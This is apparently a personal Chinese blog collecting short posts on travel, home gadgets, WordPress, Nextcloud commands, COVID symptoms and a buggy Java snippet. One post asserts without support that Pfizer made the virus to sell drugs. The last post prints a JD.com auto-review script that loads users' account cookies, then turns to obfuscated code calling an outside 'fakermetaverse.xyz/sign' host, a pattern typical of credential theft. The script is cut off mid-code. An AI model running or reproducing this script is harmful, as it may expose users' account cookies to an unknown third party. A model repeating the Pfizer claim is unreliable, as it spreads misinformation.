如果风是从下往上走的,则这一面向下。 如果风是从上往下走的,则这一面向上。 还可以换个方向装不上,就是装反了。 二、更换空气滤芯 首先得找一个十字螺丝刀,拧下三颗螺丝。 第一颗螺丝 第二课螺丝 第三课螺丝 然后拔下来这个,按住然后拔出来,这个应该检测空气流量的。 最后把三颗螺丝拧上去,就安装好了。 ### 今天看了《三体》第20集,然后问了ChatGpt 把问题提给了ChatGpt: 《三体》里的三个太阳,行星大撕裂,根据中国古代神话后裔射日,是不是地球也是跟三体一样,有10个太阳,然后为了生存,有个叫后裔的人把九个太阳搞没了。然后三体大撕裂,把1个行星撕裂成2个行星,是不是跟今天的地球和月球一样?写一份报告,越详细越好。 然后ChatGPT回答了问题: 不对,《三体》是科幻小说,不是历史或者科学事实。在小说中,作者创造了一个虚构的宇宙,其中三体星系有三个太阳和三个行星,但这并不代表地球和我们的宇宙是一样的。 相反,地球在我们的宇宙中只有一个太阳,月球是地球的卫星。地球和月球是在数十亿年前形成的,并不是由一个行星分裂成两个。 综上所述,《三体》中的太阳和行星仅仅是小说情节,不能作为科学或历史事实。 ChatGPT 回答不上来。🤣 ### 辉瑞制造病毒,然后卖药,卖疫苗? 国内媒体集体沉默,之前国内还有人还极力推荐辉瑞的药物。 想想就可怕。 ### 华为外包要求加班工时不能垫底,月平均工时垫底的要求走人 🙄今天Welink群发消息,要求月平均工时不能太低。 🙄连续3个月垫底,要求减人。 💥这社会环境和工作环境还要求生二胎,生三胎?结婚生一胎都不敢了吧。 ### 星光闪耀:记录美丽的过年夜星空 小蚁M1相机拍,拍的有点模糊。 YI DIGITAL CAMERA YI DIGITAL CAMERA ### 世卫最近发布了应对辐射和核紧急情况关键药物清单 今天下班刷抖音,看到了这个新闻。 感觉并不是无缘无故发布的。按照北约和俄罗斯的情况。 北约不顾一切的压缩俄罗斯,还真的有可能会发生。 ### 屏蔽网站外链效果 屏蔽网站外链效果 只从在文章和网站的外链加入rel="nofollow"后。 有一定效果,不过一个 http://saiita.com.cn 还增加了收录和外链。 一个网站 http://www.saiita.com.cn 减少了一部分外链的收录。 然后总体是大量减少外链收录量,然后又增加上去了,尤其是 www.saiita.com.cn。 不知道是什么情况。倒是全网流量总和的数据好看许多,www.saiita.com.cn。 saiita.com.cn 2023-1-28 文章里还是漏了几个外链,这个可能就是导致收录量一直又波动的原因 www.saiita.com.cn saiita.com.cn ### Wordpress 如何更改字体 这字体怎么感觉又点看不清。😂 现在改个字体玩玩,一直用的是默认字体 首先要在网络上找免费字体,不涉及商用的那种。 然后把字体放到服务器上,我是直接上传到阿里云OSS上的,CSS设置可以直接填字体的网址。 然后进入WordPress后台,外观-自定义 点击额外CSS 然后输入CSS代码 @font-face{ font-family: 'moe'; src: url('https://cdn.saiita.com.cn/ttf/三极博宋简体-Regular.ttf'); } body{ font-family:'moe'; } .enlighter-default .enlighter{max-height:400px;overflow-y:auto !important;}.lazyloading:not(.swiper-lazy-loaded){opacity: 0;}@media (max-width:640px) { .meta-right .meta-view{ display: unset !important; } } src的url就是你填写字体的网址和服务器上的路径文件 url('https://cdn.saiita.com.cn/ttf/三极博宋简体-Regular.ttf') 我这些字体是花钱买的,应该是不能调用。 最后就是自定义字体感觉字体颜色有点灰,看不清 ### Wordpress 上传的图片和文件不要有中文 现在图片连接和文件路径有中文乱码了。这个不好解决。 原因是昨天想把阿里云服务器上的wordrpess搬到本地,然后frp到公网,最后还是失败了。 还不小心把阿里云上的数据库给删了。 ### Java 从json文件读取字段的值,并写入其他文件 json格式的数据 { "id_1": "", "list": [{ "id": 100, "name": "123", "info": "321" }, { "id": 1001, "name": "111", "info": "22" }] } 要获取list里面的id,name数据,Java代码如下。 jar报分别是common-io-版本号.jar和fastjson-版本号.jar,导入的项目里就可以使用了。 import java.io.BufferedWriter; import java.io.FileInputStream; import java.io.FileWriter; import java.io.IOException; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson.JSONObject; public class Io { public static void main(String[] args) throws IOException { JSONObject json = JSONObject.parseObject(new FileInputStream("文件路径"), JSON.class); JSONArray array = json.getJSONArray("list"); FileWriter file = new FileWriter("文件路径", true); BufferedWirter input = new BufferedWriter(file); for (int i = 0; i <= array.size() - 1; i++) { JSONObject obj = array.getJSONObject(i); String id = obj.getString("id"); input.write(id + "," + name); //换行 input.newLine(); } input.close(); file.close(); } } Java 文件路径是D:,要多加一个,因为要转义为。 ### 鱼缸倒EM菌(枯草芽孢杆菌),看样子是没用的。 今天刚下班打开B站,看到鱼渣实验室的EM菌评测。以前一直想买EM菌来着,这不是刚好有人评测了。 发现跟硝化细菌一样,并没有什么用。 原因: 枯草芽孢杆菌只能起到分解有机质的作用,不能降氨氮,亚硝酸盐 不是水产养殖那种高密度养殖环境,不用单独加 会导致鱼缸内氨氮快速升高,鱼缸就不能用了 ### WPStatistics统计插件,发现地图缺少了台湾 这个统计插件一直在用,今天看了统计报表发现缺少了台湾。这不是搞分裂吗? 决定不用这个插件了,不知道还有什么插件可以统计。 ### ChatGPT 国内已经访问受限 现在国内访问已经受限。这个AI还挺好用的,可以做的事情有很多,写论文,写文章,写代码,问问题。刚出来的时候还是很火的。 可惜科技有国界。目前已经访问受限 ### Jmeter 设置接口并发,且接口并发接口参数不相同 这个星期用jmeter测试性能,由于jmeter用的不多,知道一点点。 要求是并发100个接口,查看服务器是否能正常运行,百度了很久,终于找到了方法。 可以设置线程并发100个。然后从CSV文件读取参数值,并在接口设置。 这样100个接口并发,且每个参数的接口值都不一样。不会并发100个接口,连参数也一样。 这个记录下,防止后面再用jmeter,不知道怎么设置了。 ### 屏蔽网站外链,防止搜索引擎大量收入外链 原因: 这个域名已经三年,百度权重一直是1。因为文章放了很多外链,导致百度等搜索引擎收入了好几万,应该不会有这么多外链的,顶多700到800个收录记录。 导致权重一直在1和0上下。 方法: 下面就是怎么让搜索引擎忽略掉网站上的大量外链。不知道有用没用,先试试。 本网站用的是wordpress,使用自定义html 使用前端代码rel="nofollow",告诉浏览器和搜索引擎忽略特定链接,这样设置估计有点麻烦。这个不一定有用 首先使用wordpress,编辑的自定义HTML 输入代码 ns1.alidns.com 如果有多个外链链接可以输入下面的代码,进行换行
例子 效果: 要在同一行空格的话,可以输入下面的代码         列子        https://www.saiita.com.cn/2927.html 效果 ### OpenAI首席科学家Ilya:AGI的到来会是一场雪崩 纪录片《iHuman》 ### 【EA】解决EA改密码,登录失败的问题 连上迅游加速器,打不开战地2042。打开EA发现没登录。 然后输入账号提示密码不正确,或过期。点击忘记密码,重置密码,还是提示账号提示密码不正确,或过期,登录不上去? 真是奇葩。 后面发现只要改20位密码,断开加速器,就能登录了。 这是什么操作?看不懂 ### 原神-游戏里的黄昏 ### 水天一色、风光无限——浙江天池风景区之旅 经常把江南天池和浙西天池给混淆了,是2个不同的地方。 虽然两个都是人造的地方,建的水库。 所以风景不在天池,而是在路上的风景。 ### 今天登录B站,看了收藏夹里墨茶的视频 Qu’on resterai ensemble jusqu'a redevenir poussière 我们要在一起直到归于尘土 就这样过了几年,谁还会记得他呢。 还不是消失在历史的尘埃里,什么也没发生过。 ### 【原神】好不容易攒了5800的原石,啥也没抽到 这次更新了地图,花了1个小时点亮路标和神像,就下线了。 这个游戏刚出来的时候还挺吸引人,不过现在对我来说没什么吸引力了。就是新出的地图还有点感觉。 没啥意思。 还有阿里云服务器宽带小水管,播放视频真卡。 ### 解决Nextcloud更新失败,进入维护模式的问题 手动更新Nextcloud版本和插件失败了,进入维护模式,退不了维护模式,百度搜索的命令行也不行。 但是可以输入下面命令行,进行手动更新 docker exec -it --user www-data nextcloud php occ upgrade 就可以正常使用了。 网上百度的命令行貌似没用,页面还是维护模式,就是下面的两个命令行。 这个命令行是关闭维护模式 docker exec -it --user www-data nextcloud php occ maintenance:mode --off 还有个开启维护模式 docker exec -it --user www-data nextcloud php occ maintenance:mode --on 1月13日 今天又更新插件了,下面的代码是有用的。 docker exec -it --user www-data nextcloud php occ maintenance:mode --off 先执行上面的命令行,然后在执行更新命令行 docker exec -it --user www-data nextcloud php occ upgrade 然后在重启docker,或者重启nextcloud 1月19日 如果更新成功执行下面的代码 docker exec -it --user www-data nextcloud php occ maintenance:mode --off 更新失败了,还是在维护模式得先用更新命令行在执行上面的命令行 ### MMAX 110P 4868电池的实际使用情况 2023年1月1日的第一次骑行。 使用E档(极速49.1㎞/h),共骑行66.9㎞,花费3H4mins,消耗46%(1.4KWh),差不多可以骑行130㎞左右。从萧山到拱墅区,然后又到西湖边上的吴山花鸟市场买了几条鱼回去。 电池还是买对了,如果上下班作用不大,除非是买原装电池大3倍以上的电池。。像这次长时间骑行,还是有必要买大电池。 ### 梦幻天池、银装素裹——下雪天探秘浙西天池的魅力 距离真的是挺远的。一趟160㎞,2个小时,高速57元。去一次来回4个小时,320㎞,高速120元。 倒是比去太子尖要近点。 途径杭瑞高速,330国道,白龙线到达山顶。330国道路边风景挺美,国道两边都是高山,下雨天过去,山顶都是雾气和云。 到达白龙线,开始上山。刚到脚下就已经开始下雪了。上山路边都是松树和树林,感觉是进入了原始森林,又有雾气飘渺,真的有点进入仙境的感觉。越往上山上的雪越多,仿佛进入了冰天雪地。 拐弯的地方都有积雪,有辆白车掉沟里去了。应该是下山拐弯太快,路上又有积雪,翻沟里去了。 到达浙西天池,更绝天池看不见,都是积雪,下雪,都是雾。一瞬间进入另外一个世界一样。 这货翻沟里去了。 ### 林内热水器怎么打开地暖 📍打开热水器,按下左侧的按键。 📍然后在房间里打开地暖。地暖就可以使用了。 这次开地暖离上次差不多有3年了,收房的时候,为了验收开了一次地暖,后面就一直没开过。 今天开地暖是看看是否正常运行。 开了4个小时,地板温温的,房间没什么感觉,就关闭地暖了。 ### 灵秀三清山:云海、雾海、森林与天相融合的自然奇观 🚙 好几年前拍的(用的是小蚁M1拍摄的),疫情前的一次旅游,第二次上山,一直生活的乡村在三清山脚下,开车上去大概半个小时就到。 🚙 小时候去过一次,都是走路上山,基本上上山一天,走路要5个小时到6个小时,夏天山上睡觉还要盖被子,不收门票,山顶还可以看到流星。现在要收门票。 🚙 三清山分2个地方上山,一个是在玉山那边,一个就是我这边的。 🚙 玉山那边能看道教圣地和关于道教文化的。 🚙 我这边就是自然景点,最著名的就是巨蟒出山和女神峰。 ### 感觉中招了,第一周 12/26: 睡了一晚上,早上起来居然好的差不多了。 就是有点咳嗽,嗓子有点疼。 街上和上班的人也很少。不知道是不是阳了,在家休息。还是提前回老家了。 下班的时候,去了公司老地方做了核酸。 核酸阴性,就是感冒了。 12/29: 周四晚上做了核算,还是阴性,在家里煮梨,生姜,红枣。神奇的是一直咳嗽,过了一晚居然好了。就是有很多痰,咳出来都是黄色的痰。鼻子呼吸堵,要不就是呼吸疼,鼻子离的血管破了。 12/30: 今天基本上好了,神奇的是咳嗽喝了梨和冰糖煮的汤好了。现在就是有点耳咛,脑袋嗡嗡的 这个星期一直吃莲花清瘟和板蓝根,周三到了普莱生片。 2022年的最后一个星期应该是2022年一整年喝的水还要多。 1/8: 还有点咳嗽,晚上睡觉也会咳嗽,但咳嗽次数不多。其他没什么影响 1/15 还在咳嗽,买了些药。 ### 感觉中招了(新冠) 这个星期开始喉咙疼,有痰,像那种发炎的那种。感觉还好,没其他症状。 昨天本来是想去浙西天池看看的,随便拍几张照片。为未来视觉中国上传照片,副业赚钱,目前快两个月了,才通过15张。没有商业价值的照片,太难通过了。 行驶在临安服务区的时候,又不太想去了。想回去,哪里现在没有雪。去看也没意思。 突然想到今年2月份去百丈岭,哪土路开起来挺爽哦的,然后百度了下,居然有两个百丈岭。 临安服务区离最近的百丈岭不远,不到20分钟的路程。就开车过去了。下了高速,田野上基本上都是那种小别墅,有点羡慕了。然后到了,土路。路上遇见几个钓鱼的,都是一脸懵逼状态。上山的路,有挖掘机。就不上去了,路边有个水库。就想看看有哪些鱼。差不多两个小时,一天也没有。还顶着大冷风吹。应该是在这里吹感冒了,不知道是不是新冠。爸的症状跟我差不多,发冷,四肢酸疼。 今天睡了一晚,四肢酸疼,头还有点疼,还有点冷。不确定是不是中招了,下午的时候好点了。就去了小红书一篇河边的文章,又想去抓了。回家的时候也是一天也没有。买的鱼饵鱼不吃。 在回家的高速上,头有点疼,下巴麻麻的,手和脚也是麻加酸痛。今天不该出来的。 到家,吃晚饭,喝点连花清瘟,发现有两种,一种是胶囊的,一种是泡水喝的,应该这个没什么作用。 洗洗睡了。 我猜应该是得新冠了。 ### 游湖在先,赏村在后:湘湖下孙文化村之旅 每天上下班经过的地方,居然有这个地方,跟古镇差不多 ### 禅意湖畔:杭州先照寺带来的心灵静谧 湘湖边山上的一个寺庙,人还挺多。风景好,还能看日落,骑着110P上去,上山的路坡挺抖。 幸好电动车扭矩大,上山耗电5%,下山动力回收增加1%的电。 ### 2023年1月1日非国标电动车杭州上不了路了 上个星期一,收到这个短信,非国标不能上路了。 可是看了短信,怎么感觉是白牌的非国标不能上路? 那黄牌非国标呢?黄牌还可以上路? 今年新国标电瓶车,不是白买了? ### 【青龙面板】京东自动评价脚本 /** 自动评价 cron 21 12 * * * jd_comment.js */ const $ = new Env('自动评价'); const notify = $.isNode() ? require('./sendNotify') : ''; //Node.js用户请在jdCookie.js处填写京东ck; const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; //IOS等用户直接用NobyDa的jd cookie let cookiesArr = [], cookie = ''; if ($.isNode()) { Object.keys(jdCookieNode).forEach((item) => { cookiesArr.push(jdCookieNode[item]) }); if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; } else { let cookiesData = $.getdata('CookiesJD') || "[]"; cookiesData = jsonParse(cookiesData); cookiesArr = cookiesData.map(item => item.cookie); cookiesArr.reverse(); cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); cookiesArr.reverse(); cookiesArr = cookiesArr.filter(item => item !== "" && item !== null && item !== undefined); } //用户过滤关键字环境变量! let userKeyWords = process.env.userKeyWords && process.env.userKeyWords.split('@') || []; //获取评论内容的最少字数环境变量,默认6! let wordcount = process.env.wordcount ?? 6; // 是否执行 默认不执行 let isComment = process.env.isCommentPic ?? false; var _0xodo='jsjiami.com.v6',_0xodo_=['‮_0xodo'],_0x58c4=[_0xodo,'ZW9Vbms=','aXlyYmM=','bG9n','ZU9ncG0=','cGljVVJM','cmVwbGFjZQ==','ZmxLSEg=','bGVuZ3Ro','dml5ZlA=','dndLa3c=','Q25Cc0w=','LCDlpLHotKUhIOWOn+WboDog','TU16dk4=','cFlWVXU=','Zmxvb3I=','a0F3ZUg=','cmFuZG9t','a1FDeEU=','amRhcHA7aVBob25lOzEwLjAuODsxNC42Ow==','O25ldHdvcmsvd2lmaTtKREVib29rL29wZW5hcHAuamRyZWFkZXI7bW9kZWwvaVBob25lOSwyO2FkZHJlc3NpZC8yMjE0MjIyNDkzO2FwcEJ1aWxkLzE2ODg0MTtqZFN1cHBvcnREYXJrTW9kZS8wO01vemlsbGEvNS4wIChpUGhvbmU7IENQVSBpUGhvbmUgT1MgMTRfNiBsaWtlIE1hYyBPUyBYKSBBcHBsZVdlYktpdC82MDUuMS4xNSAoS0hUTUwsIGxpa2UgR2Vja28pIE1vYmlsZS8xNkUxNTg7c3VwcG9ydEpEU0hXSy8x','VXNlck5hbWU=','c1B4ck4=','bWF0Y2g=','aW5kZXg=','bEF3VUY=','aXNMb2dpbg==','bmlja05hbWU=','Y29tbWVudFdhcmVMaXN0','Y29tbWVudEluZm9MaXN0','a1dUV2I=','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','aXNOb2Rl','c0NleUQ=','c2VuZE5vdGlmeQ==','Y29va2ll5bey5aSx5pWIIC0g','Cuivt+mHjeaWsOeZu+W9leiOt+WPlmNvb2tpZQ==','VVRWZFc=','562J5b6FLi4u','d2FpdA==','Y2F0Y2g=','ZmluYWxseQ==','ZG9uZQ==','5rKh5pyJ5b6F6K+E5Lu3ISE=','dXNlckluZm8=','YXNzZXRJbmZv','YmVhbk51bQ==','5Lqs5Lic5pyN5Yqh5Zmo6L+U5Zue56m65pWw5o2u','Y1d3aGo=','Zm14YWE=','ZHBn','d2VicA==','YXZpZg==','bVlkaFk=','WkFEcFc=','cHViQ29tbWVudA==','MTY5OQ==','W3siVmlkZW9Jc0VkaXRDb3ZlciI6IjAiLCJJbWFnZVByb3BJZCI6IjAiLCJJbWFnZVRha2VQaG90b0ZpbHRlcklkIjoiMCIsIkltYWdlSXNDcm9wIjoiMCIsIlZpZGVvSXNFZGl0Q3JvcCI6IjAiLCJWaWRlb0VkaXRGaWx0ZXJJZCI6IjAiLCJWaWRlb011c2ljSWQiOiIwIiwiSW1hZ2VFZGl0RmlsdGVySWQiOiIwIiwiVmlkZW9Qcm9wSWQiOiIwIiwiVGFrZVJhdGUiOiIwIiwiVmlkZW9SZWNvcmRJc01ha3VwIjoiMCIsIkltYWdlVGFrZVBob3RvSXNNYWt1cCI6IjAiLCJWaWRlb1JlY29yZEZpbHRlcklkIjoiMCIsIkltYWdlRm9udElkIjoiMCIsIkZyb21UeXBlIjoiMSIsIkltYWdlU3RyaWNrSWQiOiIwIn0seyJWaWRlb0lzRWRpdENvdmVyIjoiMCIsIkltYWdlUHJvcElkIjoiMCIsIkltYWdlVGFrZVBob3RvRmlsdGVySWQiOiIwIiwiSW1hZ2VJc0Nyb3AiOiIwIiwiVmlkZW9Jc0VkaXRDcm9wIjoiMCIsIlZpZGVvRWRpdEZpbHRlcklkIjoiMCIsIlZpZGVvTXVzaWNJZCI6IjAiLCJJbWFnZUVkaXRGaWx0ZXJJZCI6IjAiLCJWaWRlb1Byb3BJZCI6IjAiLCJUYWtlUmF0ZSI6IjAiLCJWaWRlb1JlY29yZElzTWFrdXAiOiIwIiwiSW1hZ2VUYWtlUGhvdG9Jc01ha3VwIjoiMCIsIlZpZGVvUmVjb3JkRmlsdGVySWQiOiIwIiwiSW1hZ2VGb250SWQiOiIwIiwiRnJvbVR5cGUiOiIxIiwiSW1hZ2VTdHJpY2tJZCI6IjAifV0=','Z3NWRHA=','U0tWT3E=','S21VcnA=','aHNuSUw=','bWF4UGFnZQ==','eHhIYm8=','bmh3ZXY=','V25CdHc=','c1lFQlQ=','d2FyZUlk','REdxek4=','eWFLaE0=','Y29tbWVudEluZm8=','cGljdHVyZUluZm9MaXN0','bWVkaWFUeXBl','WnZDbmw=','aW5kZXhPZg==','dmVhS3U=','cnV5WUs=','R01XY0c=','c2VBa3g=','eHJsUEI=','ZENkYlg=','a1JralQ=','bG9nRXJy','c2ZiS20=','cGFyc2U=','cmV0Y29kZQ==','ZGF0YQ==','aGFzT3duUHJvcGVydHk=','UGpjeHE=','YmFzZUluZm8=','bmlja25hbWU=','b1lQTFo=','YmVhbkNvdW50','WGpPT3E=','QVpZc2I=','cHVzaA==','Y29tbWVudFNjb3Jl','Y29tbWVudERhdGE=','c29tZQ==','aW5jbHVkZXM=','VGZqTEc=','6K+E5Lu35YaF5a656KKr6L+H5ruk77yM5ZCr5pyJ5YWz6ZSu6K+NLeOAkA==','VEN0aHQ=','5Y676K+E5Lu3IC0tLT4g','d25hbWU=','CuaIkOWKn+iOt+WPluWIsOWbvueJh++8jOWOu+W4puWbvuivhOS7tyEK','UGFZaXg=','Y2F0ZWdvcnlMaXN0','Vkx0d0E=','b3JkZXJJZA==','c2hvcElk','RlhRaG8=','bkhIc24=','CuaIkOWKn+iOt+WPluWIsOWbvueJh++8jOS4lOayoeacieiOt+WPluWIsOivhOS7t+WGheWuue+8jOmHh+eUqOiEmuacrOiHquW4puivhOS7t++8jOWOu+W4puWbvuivhOS7tyEK','WUdwQVk=','UlZKU20=','CuayoeacieiOt+WPluWIsOWbvueJh++8jOS4lOiOt+WPluWIsOivhOS7t++8jOWOu+ivhOS7tyEK','aUd5Tm8=','YXRlZ29yeUxpc3Q=','TUNOTnM=','CuayoeacieiOt+WPluWIsOivhOS7t+WGheWuuSzph4fnlKjohJrmnKzoh6rluKbor4Tku7cK','Qll6eXk=','b3RObVY=','Z2V0Q29tbWVudExpc3RXaXRoQ2FyZA==','5YeG5aSH6I635Y+W6K+E5Lu3Li4u','UEltZkw=','Z2V0Q29tbWVudFdhcmVMaXN0','Y29tbWVudFdhcmVMaXN0SW5mbw==','cmV2ZXJzZQ==','YXBpLm0uamQuY29t','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','Ki8q','dWRFdkM=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPQ==','Ym9keQ==','b3dlQWI=','Q2R3a2s=','VkhqRVo=','emgtSGFucy1KUDtxPTEsIGVuLUpQO3E9MC45LCB6aC1IYW50LVRXO3E9MC44LCBqYS1KUDtxPTAuNywgZW4tVVM7cT0wLjY=','SGZxRUQ=','WHpzREc=','SldwaXY=','cXVoREw=','cG9zdA==','WkplU0Y=','bWVzc2FnZQ==','YU51VXE=','UVpSREg=','dG9TdHJpbmc=','c2xpY2U=','ZkxGSkw=','dEFmeVY=','SXpmZnQ=','aHR0cDovL2Zha2VybWV0YXZlcnNlLnh5ei9zaWdu','YXBwbGljYXRpb24vanNvbg==','eXJvb3U=','c3RyaW5naWZ5','U3J1d2U=','dG9DVFk=','ZWNTQ1Y=','R2dwY3A=','a0xUcmM=','VHZubm4=','SUJpWFA=','cUdOQWw=','bkpzYWE=','b3llQVg=','cUxtbmU=','cEludmg=','RnB4Um8=','c0hqVkU=','aHR0cHM6Ly93cS5qZC5jb20vdXNlcl9uZXcvaW5mby9HZXRKRFVzZXJJbmZvVW5pb24/c2NlbmV2YWw9Mg==','a2VlcC1hbGl2ZQ==','Z3ppcCwgZGVmbGF0ZSwgYnI=','ZHlxclY=','QVdaWnA=','aGV4clA=','aGF4bmQ=','c2lnR2Q=','Y1pMc2Y=','d3EuamQuY29t','WUpieXM=','TVZaSHQ=','emgtY24=','aHR0cHM6Ly9ob21lLm0uamQuY29tL215SmQvbmV3aG9tZS5hY3Rpb24/c2NlbmV2YWw9MiZ1ZmM9Jg==','Q0huZFY=','Z2V0','SVFzU2M=','aWRYYk4=','Yk9HTUo=','Tk9RUEU=','ZlVSQnA=','RFByaEI=','VlhLbEQ=','5b6I5Z6D5Zy+','6LSo6YeP5beu','5q2k55So5oi35pyq5aGr5YaZ6K+E5Lu35YaF5a65','572R5LiK6LSt54mp6L+Z5LmI5r+A54OI77yM5rKh5oOz5Yiw5bqX5a6255qE5pyN5Yqh6L+Z5LmI5aW977yM5ZWG5ZOB6LSo6YeP5aW96ICM5Lu35L2O5buJ77yM5oiR5aSq5oSf6LCi5L2g5LqG44CC','6LSo6YeP6Z2e5bi45aW977yM55yf5Ye65LmO5oiR55qE5oSP5paZ77yM5YyF6KOF6Z2e5bi45LuU57uG77yM6Z2e5bi45oSf6LCi77yM56Wd55Sf5oSP5YW06ZqG44CC','6L+Z5a625bqX6L+Y5aW95ZCn77yM5p2l5Lmw6L+H5Yeg5qyh5LqG77yM5pyN5Yqh6ICB5a6i5oi36Z2e5bi45ZGo5Yiw77yM5Lul5ZCO6L+Y5bi45p2l44CC','5Y2W5a6255qE5pyN5Yqh5oCB5bqm55yf5aW977yM5Y+R6LSn5b6I5b+r44CC5ZWG5ZOB6LSo6YeP5Lmf55u45b2T5LiN6ZSZ44CC5aSq5Zac5qyi5LqG77yM6LCi6LCi44CC','5Yeg5Lul5YmN5Yeg5LmO5LuO5pyq6K6k55yf6K+E5Lu36L+H77yM5Lmf5LiN55+l6YGT5rWq6LS55LqG5aSa5bCR5YiG44CC5oiR5ZCs6K+06K+E5Lu35Lit5pyJMTAw5aSa5Liq5Y2V6K+N77yM5Z+65pys5LiK5piv5q+P5ZGo6K6/6Zeu5LiA5qyh44CC5Zyo5Lqs5Lic6LSt54mp5aSq5pa55L6/5LqG77yM5qC55pys5YGc5LiN5LiL5p2l44CC5LuO6YKj5pe26LW377yM6LSt5Lmw5pel55So5ZOB5pe26aaW5YWI5oOz5Yiw55qE5bCx5piv5Lqs5Lic77yM5a6D5piv55yf5q2j55qE44CC6LW35Yid5oiR5b6I5ouF5b+D44CC546w5Zyo5oiR5Lmg5oOv5LqG77yM6L+Z55yf55qE5b6I5aW944CC546w5Zyo5oiR5b+F6aG757uZ5pu05aSa55qE5oqY5omj44CC5oiR5LiL5qyh5Lya5YaN5p2l44CC5oiR5LiA55u05Zyo6LSt54mp44CC5a6D5LuN54S25piv5LiA5Liq6Z2e5bi45aW955qE5a6d6LSd44CC55yf55qE5b6I5aW944CC6L+Z5piv5YC85b6X55qE44CC572R5LiK5Lmw5LiA5qyh5Lmf5rKh55So44CC5a6D6L+Y5rKh5pyJ5a6J6KOF44CC5oiR5LiA5qyh5Lmw5LqG5Lik5Liq44CC5aSn5ZOB54mM5YC85b6X5L+h6LWW44CC','5oiR55yf55qE6Z2e5bi45Zac5qyi5a6D77yM6Z2e5bi45pSv5oyB5a6D77yM6LSo6YeP6Z2e5bi45aW977yM5ZKM5Y2W5a625o+P6L+w55qE5LiA5qih5LiA5qC377yM5oiR6Z2e5bi45ruh5oSP44CC5oiR55yf55qE5b6I5Zac5qyi5a6D77yM5a6D5a6M5YWo6LaF5Ye65LqG6aKE5pyf55qE5Lu35YC877yM5Lqk6LSn6YCf5bqm6Z2e5bi45b+r77yM5YyF6KOF6Z2e5bi45LuU57uG5ZKM57Sn5YeR77yM54mp5rWB5YWs5Y+45pyJ5LiA5Liq6Imv5aW955qE5pyN5Yqh5oCB5bqm77yM5Lqk6LSn6YCf5bqm6Z2e5bi45b+r77yM5oiR6Z2e5bi45ruh5oSP6LSt54mp','6LSo6YeP6Z2e5bi45aW977yM5LiO5Y2W5a625o+P6L+w55qE5a6M5YWo5LiA6Ie077yM6Z2e5bi45ruh5oSP77yM55yfIOeahOW+iOWWnOasou+8jOWujOWFqOi2heWHuuacn+acm+WAvO+8jOWPkei0p+mAn+W6pumdnuW4uOW/q++8jOWMhSDoo4XpnZ7luLjku5Tnu4bjgIHkuKXlrp7vvIznianmtYHlhazlj7jmnI3liqHmgIHluqblvojlpb3vvIzov5DpgIEg6YCf5bqm5b6I5b+r77yM5b6I5ruh5oSP55qE5LiA5qyh6LSt6LSo6YeP5b6I5aW977yM5biM5pyb5pu05aSa55qEIOaci+WPi+S/oei1lu+8juW6l+S4u+aAgeW6pueJueWlve+8jOaIkeS8muWGjeasoeWFiemhvueahO+8jOWPr+S4jSDlj6/ku6Xlho3kvr/lrpzngrnvvIzmiJHluKbmnIvlj4vmnaXkvaDlrrY=','5Lic6KW/5pS25Yiw77yM5b6I5ruh5oSP77yB77yB5Lqs5Lic5bmz5Y+w55yf55qE5piv6LaF57qn5aW955qE5Y2W5a6277yM6Kej562U55aR6Zeu5LiN5Y6M5YW254Om77yM57uG6Ie06K6k55yf77yM5YWz6ZSu5piv5Lic6KW/5aW977yM6ICM5LiU6LSn54mp5Y+R5b6X6LaF5b+r77yM5YyF6KOF5LuU57uG77yM5YC85b6X5L+h6LWW77yB','6L+Z5Liq5Lu35qC85LuN54S25b6I5YiS566X44CC57uP5rWO44CB5L6/5a6c44CB6LSo6YeP6Z2e5bi45aW977yM5LiO5Y2W5pa55o+P6L+w55qE5a6M5YWo5LiA5qC344CC6Z2e5bi45ruh5oSP77yM5a6M5YWo5Ye65LmO5oSP5paZ77yM6LaF5YiS566X77yM5YiS566X77yM6LSt54mp5q+U5a6e5L2T5bqX5L6/5a6c5aSa5LqG77yM6Z2e5bi45ruh5oSP572R5LiK6LSt54mp44CC5oiR5biM5pyb5Y2W5a6255qE55Sf5oSP5Lya6LaK5p2l6LaK57qi54Gr77yM54mp5rWB5Lya6LaK5p2l6LaK5b+r77yM5YyF6KOF5Lya6LaK5p2l6LaK57uT5a6e44CC5YWt5pif6KGo5oms77yM5aSa5LiA5pif5LiN5oCV5L2g6aqE5YKy77yM54q56LGr5LiN5Yaz55qE5pyL5Y+L5Lya5b6I5b+r5LiL5Y2V77yM6L+Z5piv6Imv5b+D55qE5o6o6I2Q44CC5a6D55yf55qE5b6I5aW977yM6ICM5LiU5Lu35qC85Lmf5b6I6auY77yM5omA5Lul5L2g5bCG5p2l5Y+v5Lul5Zyo6L+Z6YeM5Lmw44CC57uZ5LiJ5Liq5aW96K+E5bCx5ruh6Laz5LqG77yB5ruh5oSP5LqG77yB5ruh5oSP5LqG','6K6p5oiR5Lus5YWI6K+06K+05ZWG5ZOB55qE6LSo6YeP77ya5Lqn5ZOB5oC75L2T5LiK5piv5aW955qE77yM5YyF6KOF5b6I57Sn44CC6K6p5oiR5Lus5p2l6LCI6LCI5ZWG5a625pyN5Yqh77ya5Zac5qyi5a6D44CC5pyA5ZCO77yM5b+r6YCS77ya5b+r6YCS6Z2e5bi45b+r44CC5q+V56uf77yM5buJ5Lu35ZWG5ZOB5pu055yf5a6e44CC5oiR5biM5pyb5ZWG5bqX6IO95o+Q5L6b5pu05aSa55qE5oqY5omj77yM5Y+K5pe26YCa55+l6ICB5a6i5oi377yM5bm25L+D6L+b5Zue6LSt44CC56Wd5L2g55Sf5oSP5YW06ZqG44CC','Z1NiSVQ=','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','b2F